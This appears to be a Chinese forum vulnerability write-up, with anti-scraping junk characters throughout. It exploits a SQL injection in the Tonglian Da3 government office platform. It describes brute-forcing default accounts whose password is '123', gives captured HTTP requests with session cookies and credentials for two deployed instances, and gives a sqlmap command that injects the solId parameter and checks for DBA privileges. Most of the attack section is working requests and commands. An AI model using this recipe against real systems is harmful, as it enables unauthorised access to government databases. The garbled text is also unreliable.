同联Da3协同办公平台前台通用sql injection漏洞

admin

8 D; w& _. Q. O5 k
+ S) @0 _" T3 r& V2 Y0 P

- V6 d% D8 p W3 O" Q$ w/ ~# ^7 V

平台简介： % }* h6 S' v3 }& i

" _: O8 J2 j+ @3 A3 E5 Q  

3 r/ ?4 Z2 T% P* g! P/ r8 f) ` 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

]; i* v; K" b, s# N1 y

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  ' M. `9 U" ?+ _4 ~2 A0 D( J$ z9 W4 R

0 j+ N9 [! N: P0 D

6 O( m/ ^1 o$ q: S* ]$ R http://1.1.1.1:7197/cap-aco/#（案例2-） $ p- ~ P! d: y( [

http://www.XXOO.com （案例1-官网网站） T& ~3 b: M, p" Q! |: b6 l1 |

& u; G. F1 ^( b( q

  3 K0 n5 b6 `) H P5 P, n: g; ^

1 J" B7 |( u& h5 Q( i0 }7 ]; _$ `1 H

- Y# j7 [- I6 e. E0 w1 | 漏洞详情:

! g1 S" G" j; X4 P4 ~) e  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

+ M8 \# J. }" V6 g. Y' K; `   " \4 Q1 |; k7 `0 \" I! c

; x, c7 J$ H0 ~( N8 x4 T) n6 }  

: r* y0 J* t4 ~, x! u status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站

' l: e7 ~, v& M# P4 L! B; |7 I GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 8 ?3 k) @' B7 z e# @( F* ^5 b

4 i& Q8 Z- c' U5 m

Host: www.XXOO.com 2 [/ H+ d6 d9 n( J9 }

Proxy-Connection: Keep-Alive : U7 `# k, w2 J h! s; B

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN

Content-Type: application/json

. P* [& V& p/ i+ d: b6 X/ ` User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 5 m6 V W1 ~2 q# ~ u

' f- O& I- @8 ?# {6 B* o$ j

* p4 e2 k/ ]& S0 w* _. _1 _ X-Requested-With: XMLHttpRequest ; n5 u9 v. i `" \- G. w

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ) Z* M( d1 Z* i1 }* X

Accept-Encoding: gzip, deflate, sdch

8 s. v! O& K: F9 z Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 7 E& M" i. o/ `0 j7 I$ t. G. o |

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

( s) m' ?' A# E

* r* M& O! K& M- f  

7 `9 A% d$ d" _8 f   . v8 p. Y/ R1 k$ R* d

+ M0 R( u. n+ a

 

/ i0 V! d, P! e' f) s9 {, r  

. C$ Z o4 b( R7 \0 t  

2、案例2-某天河云平台 7 i, U2 v- b9 j- P: p1 h- }& p

. @" l& N. n; I) a+ k

9 o! c1 q( H" X% t4 ? \ GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

/ K. C% e! P5 _ Host: 1.1.1.:7197 ( `$ r8 Q# Q' ~% M

4 _; `7 b8 |" y8 X$ Z. N2 S l

Accept: application/json, text/javascript, */*; q=0.01

0 Q9 ] A" ?" r4 n# Y; A% j4 t( i

X-Requested-With: XMLHttpRequest

( A4 u, R$ ]- V2 \

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 $ g; e7 H- s$ _9 j8 O/ w) E! m

3 \& Z1 W+ S& p z0 |" J8 r* w

; F: s0 Y) j0 }# h; X- E6 h Content-Type: application/json f) o% V' |+ ?2 m5 l$ j1 u- {

# ~) g6 p) p5 \6 c

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ( e8 G! Z0 E! r5 t9 N7 l4 B

Accept-Language: zh-CN,zh;q=0.8 % k% |( o1 T- c! T

7 f6 I0 g# H, v" |9 }3 k' _ c2 k: R) F

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

5 w" K2 C( x5 X5 }- N) H! d- K

* ~7 o7 T! g( u4 ]) z Connection: close 9 i5 ~5 R+ e; v# h+ I: f

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

& V9 |+ B/ [5 @0 b n

  6 X- N! F3 O" f9 ?* i* b( n0 ?

8 ^ d6 o/ \. |- B3 t. b
+ a$ F* X7 }( e- F8 s& }